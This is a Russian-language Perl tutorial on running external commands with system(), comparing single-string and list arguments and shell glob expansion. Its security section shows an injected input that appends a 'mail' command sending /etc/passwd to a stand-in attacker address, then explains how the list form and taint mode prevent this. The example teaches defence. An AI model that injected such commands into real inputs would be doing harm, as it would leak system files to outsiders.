Зачастую Perl используют как обертку вокруг других программ. Другими словами, мы запускаем внешние программы из нашей Perl-программы.
Наприем, мы используем Perl, чтобы собрать нужные параметры, так что нам будет проще написать нужную команду для запуска другой программы в командной строке.
Или нам может понядобиться собрать вывод в командной строке другой программы, и затем принять какие-то решения, основываясь на этом выводе.
Perl дает нам много разных решений для этого. Мы рассмотрим некоторые из них.
system
По-видимому самое простое из них - функция system
. В самом базовом виде она принимает
текст, который надо написать в командной строке, чтобы выполнить внешнюю команду.
Например, на машинах с Unix/Linux существует команда «adduser», которая создает пользовательский аккаунт. Ее можно запустить так:
/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo
Так что, если нам надо выполнить ее из скрипта perl, это можно сделать так:
system('/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo');
Такой код запустит команду adduser. Любой вывод или ошибки, которые выдаст adduser, появятся на вашем экране.
Строку для выполнения можно сформировать динамически. Следующие примеры дадут тот же результат:
my $cmd = '/usr/sbin/adduser --home /opt/bfoo --gecos "Foo Bar" bfoo';
system($cmd);
my $cmd = '/usr/sbin/adduser';
$cmd .= ' --home /opt/bfoo';
$cmd .= ' --gecos "Foo Bar" bfoo';
system($cmd);
system с несколькими аргументами
Функция system
может принимать больше одного аргумента. Пример выше можно было выполнить
так:
my @cmd = ('/usr/sbin/adduser');
push @cmd, '--home';
push @cmd, '/opt/bfoo';
push @cmd, '--gecos',
push @cmd, 'Foo Bar',
push @cmd, 'bfoo';
system(@cmd);
В данном случае все показанные примеры работают одинаково, но в жизни эти подходы могут применяться для разных целей.
Расширение оболочки
Предположим, у нас есть программа checkfiles, которая проверяет список файлов, переданный ей в командной строке. Ее можно вызвать так: checkfiles data1.txt data2.txt или так: checkfiles data*.txt, чтобы проверить все файлы, название которых начинается с «data», затем идут какие-то другие символы, и затем расширение «txt». Этот второй способ будет работать в системах Unix/Linux, где оболочка расширяет «data*.txt» до списка всех файлов, которые подходят под это описание. Когда программа checkfiles выполняется, она уже видит список файлов: checkfiles data1.txt data2.txt data42.txt database.txt. Но не так это работает в Windows, где командная строка не делает этого расширения. В Windows программа получит на вход «data*.txt».
Причем тут наш скрипт Perl, спросите вы?
В Windows это не важно. Однако, в Unix/Linux, если вы запустите программу «checkfiles»
изнутри скрипта Perl одной строкой system("checkfiles data*.txt")
, Perl передаст эту строку
оболочке. Оболочка выполнит свое расширение и программа «checkfiles» увидит список
файлов. С другой стороны, если вы передадите саму команду и ее параметры в отдельных строках:
system("checkfiles", "data*.txt")
, то perl запустит непосредственно программу
«checkfiles» и передаст ей один параметр «data*.txt», не проводя расширения.
Как вы можете видеть, передача всей команды целиком в одной строке имеет свои преимущества.
Однако, эти преимущества не достаются бесплатно.
Риск безопасности
Вызов system с единственным параметром и передача всей команды таким способом может быть угрозой безопасности, если вводимые данные поступают из непроверенных источников. Например, прямо из веб-формы. Или из лог-файла, созданного веб-сервером.
Предположим, мы получаем параметры для checkfiles из сомнительного источника:
my $param = get_from_a_web_form();
my $cmd = "checkfiles $param";
system($cmd);
Если пользователь ввел в форме «data*.txt», то все в порядке. Переменная $cmd
получит значение checkfile data*.txt
.
С другой стороны, если пользователь подставит другие, более «хитрые» параметры, это
может вызвать неприятности. Например, если пользователь напишет data*.txt; mail blackhat@perlmaven.com < /etc/passwd
, то команда, которую запустит perl, будет такой:
checkfile data*.txt; mail darkside@perlmaven.com < /etc/passwd
.
Оболочка сначала выполнит команду «checkfile data*.txt», как нам и нужно, но затем она пойдет дальше, и выполнит команду «mail...». В результате ваш файл с паролями отправится прямиком на темную сторону.
Если бы наш скрипт Perl вызывал system
с несколькими параметрами, мы бы избежали этого
риска. Если наш код такой:
my $param = get_from_a_web_form();
my @cmd = ("checkfiles", $param);
system(@cmd);
И пользователь вводит data*.txt; mail blackhat@perlmaven.com < /etc/passwd
, то Perl
запустит программу «checkfiles» и передаст ей один аргумент: data*.txt; mail blackhat@perlmaven.com < /etc/passwd
. Расширения оболочки не будет, но мы также избежим
ее опасностей. Команда «checkfiles», возможно, пожалуется, что не может найти файл
data*.txt; mail blackhat@perlmaven.com < /etc/passwd
, но во всяком случае наши пароли
в безопасности.
Заключение и рекомендации к дальнейшему чтению
Более распространенный подход - собрать одну строку и передать ее функции system
, но, если
входные данные поступают из сомнительного источника, это легко может стать направлением атаки. Риск
можно сократить, если сопоставлять входные данные с белым списком допутимых символов. Вы
можете заставить себя всегда думать об этом, включив taint mode с помощью флага -T
в
инициализирующей строке (sh-bang) вашего скрипта.
Вы можете узнать больше из официальной документации по system.